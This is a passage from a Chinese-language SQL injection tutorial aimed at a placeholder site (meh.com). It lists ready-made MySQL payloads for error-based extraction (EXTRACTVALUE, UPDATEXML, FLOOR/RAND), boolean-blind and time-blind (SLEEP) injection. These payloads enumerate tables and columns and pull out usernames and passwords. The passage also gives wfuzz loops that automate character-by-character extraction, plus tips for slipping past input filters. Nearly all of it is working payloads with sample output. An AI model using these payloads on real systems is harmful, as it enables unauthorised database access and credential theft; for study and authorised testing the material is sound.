http://meh.com/index.php?id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT USER()), 0x7e), 1) --+
text1 行
返回:
XPATH syntax error: '~root@localhost~'
text1 行
方法3:使用FLOOR结合RAND(仅适用于特定版本)
原理:
FLOOR(RAND(0)*2)在分组查询中可能因重复计算导致报错,回显子查询结果。
示例:
http://meh.com/index.php?id=1' AND 1=(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT DATABASE()), 0x7e, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --+
http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, DATABASE(), 0x7e)) --+
text1 行
获取当前用户:
http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, USER(), 0x7e)) --+
text1 行
获取版本:
http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, @@version, 0x7e)) --+
text1 行
步骤5:枚举数据库结构
提取表名、列名等信息,借助information_schema。
获取所有表名:
http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()), 0x7e)) --+
text1 行
可能返回:
XPATH syntax error: '~users,orders~'
text1 行
获取指定表的列名:
假设表名为users:
http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users'), 0x7e)) --+
text1 行
返回:
XPATH syntax error: '~id,username,password~'
text1 行
限制长度问题:
MySQL报错信息通常截断为32个字符,可用LIMIT逐条提取:
http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1), 0x7e)) --+
text1 行
步骤6:提取表中数据
根据表名和列名提取具体内容。
获取users表的数据:
http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(username) FROM users), 0x7e)) --+
text1 行
返回:
XPATH syntax error: '~admin,user1~'
text1 行
拼接多列:
http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT CONCAT(username, ':', password) FROM users LIMIT 0,1), 0x7e)) --+
http://meh.com/index.php?id=1' AnD ExTrAcTvAlUe(1, CoNcAt(0x7e, DaTaBaSe(), 0x7e)) --+
text1 行
处理长数据:
使用SUBSTR分段提取:
http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, SUBSTR((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()), 1, 30), 0x7e)) --+
http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, 'test') --+
text1 行
返回XPATH syntax error: 'test',报错可控。
提取数据库名:
http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, DATABASE(), 0x7e)) --+
text1 行
返回XPATH syntax error: '~test_db~'。
枚举表名:
http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='test_db'), 0x7e)) --+
text1 行
返回XPATH syntax error: '~users,orders~'。
提取列名:
http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users'), 0x7e)) --+
text1 行
返回XPATH syntax error: '~id,username,password~'。
提取数据:
http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT CONCAT(username, ':', password) FROM users LIMIT 0,1), 0x7e)) --+
http://meh.com/index.php?id=1' AND 1=1 --+ # 页面正常http://meh.com/index.php?id=1' AND 1=2 --+ # 页面异常
text2 行
确认:
若响应有明显区分,则布尔盲注可行。
步骤4:逐字符推断数据
布尔盲注通过构造条件,逐字符猜测数据库信息,常用函数包括SUBSTR和ASCII。
获取数据库名
方法:
使用SUBSTR提取数据库名某位置的字符,与猜测值比较。
示例:
http://meh.com/index.php?id=1' AND SUBSTR(DATABASE(), 1, 1)='t' --+
text1 行
若页面正常,则首字母为t。
http://meh.com/index.php?id=1' AND SUBSTR(DATABASE(), 2, 1)='e' --+
text1 行
若正常,则第2个字母为e。
优化:使用ASCII:
将字符转为ASCII码,缩小猜测范围。
示例:
http://meh.com/index.php?id=1' AND ASCII(SUBSTR(DATABASE(), 1, 1))=116 --+
text1 行
116是t的ASCII码,若正常则首字母为t。
枚举表名
方法:
查询information_schema.tables:
http://meh.com/index.php?id=1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1), 1, 1))=117 --+
text1 行
117是u,若正常则首表名以u开头(如users)。
提取列名和数据
列名:
http://meh.com/index.php?id=1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1), 1, 1))=105 --+
text1 行
105是i,可能为id。
数据:
http://meh.com/index.php?id=1' AND ASCII(SUBSTR((SELECT username FROM users LIMIT 0,1), 1, 1))=97 --+
text1 行
97是a,可能为admin。
步骤5:自动化优化
手动逐字符猜测效率低,可结合工具(如wfuzz)加速。
猜测数据库名:
for i in $(seq 1 10); do wfuzz -c -z range,32-127 --hw=<词数> "http://meh.com/index.php?id=1' AND ASCII(SUBSTR(DATABASE(),$i,1))=FUZZ --+"; done
text1 行
范围32-127覆盖标准ASCII字符,正确字符对应正常响应。
获取表名:
for i in $(seq 1 10); do wfuzz -c -z range,32-127 --hw=<词数> "http://meh.com/index.php?id=1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),$i,1))=FUZZ --+"; done
text1 行
时间盲注(Time-based Blind SQL Injection)
步骤3:验证时间盲注可行性
方法:
使用sleep()函数引入延迟,观察响应时间。
示例:
http://meh.com/index.php?id=1' AND SLEEP(5) --+
text1 行
若响应延迟5秒,则时间盲注可行。
注意:
若id=1为真值,需用AND,否则用OR:
http://meh.com/index.php?id=0' OR SLEEP(5) --+
text1 行
步骤4:逐字符推断数据
时间盲注通过条件判断结合延迟,推断数据。
获取数据库名
方法:
使用IF和sleep():
http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR(DATABASE(), 1, 1))=116, SLEEP(5), 0) --+
text1 行
若延迟5秒,则首字母为t。
枚举表名
方法:
http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1), 1, 1))=117, SLEEP(5), 0) --+
text1 行
延迟则表名首字母为u。
提取数据
方法:
http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR((SELECT username FROM users LIMIT 0,1), 1, 1))=97, SLEEP(5), 0) --+
text1 行
延迟则数据首字母为a。
步骤5:自动化优化
时间盲注耗时长,可用wfuzz结合时间筛选。
猜测数据库名:
for i in $(seq 1 10); do wfuzz -v -c -z range,32-127 "http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR(DATABASE(),$i,1))=FUZZ, SLEEP(5), 0) --+"; done > result.txt && grep "0m4" result.txt
text1 行
grep "0m4"筛选延迟响应(约5秒)。
提取列内容:
for i in $(seq 1 10); do wfuzz -v -c -z range,32-127 "http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR((SELECT username FROM users LIMIT 0,1),$i,1))=FUZZ, SLEEP(5), 0) --+"; done > result.txt && grep "0m4" result.txt
text1 行
注意事项
响应稳定性:
布尔盲注依赖页面状态一致性,时间盲注需网络延迟稳定。
权限要求:
访问information_schema需相应权限。
绕过过滤:
空格用/**/,关键字用大小写混淆。
效率优化:
先用二分法猜测ASCII范围(如>64),缩小范围。
真假值:
时间盲注需根据原始条件选择AND或OR。
实战演练
目标URL:http://meh.com/index.php?id=1,后端:
SELECT * FROM users WHERE id = '1'
sql1 行
示例完整流程如下:
布尔盲注演练
确认注入:
http://meh.com/index.php?id=1' AND 1=1 --+ # 正常http://meh.com/index.php?id=1' AND 1=2 --+ # 异常
text2 行
获取数据库名:
http://meh.com/index.php?id=1' AND ASCII(SUBSTR(DATABASE(), 1, 1))=116 --+ # 正常,'t'http://meh.com/index.php?id=1' AND ASCII(SUBSTR(DATABASE(), 2, 1))=101 --+ # 正常,'e'
text2 行
结果:test_db。
时间盲注演练
验证延迟:
http://meh.com/index.php?id=1' AND SLEEP(5) --+ # 延迟5秒
text1 行
获取表名:
http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1), 1, 1))=117, SLEEP(5), 0) --+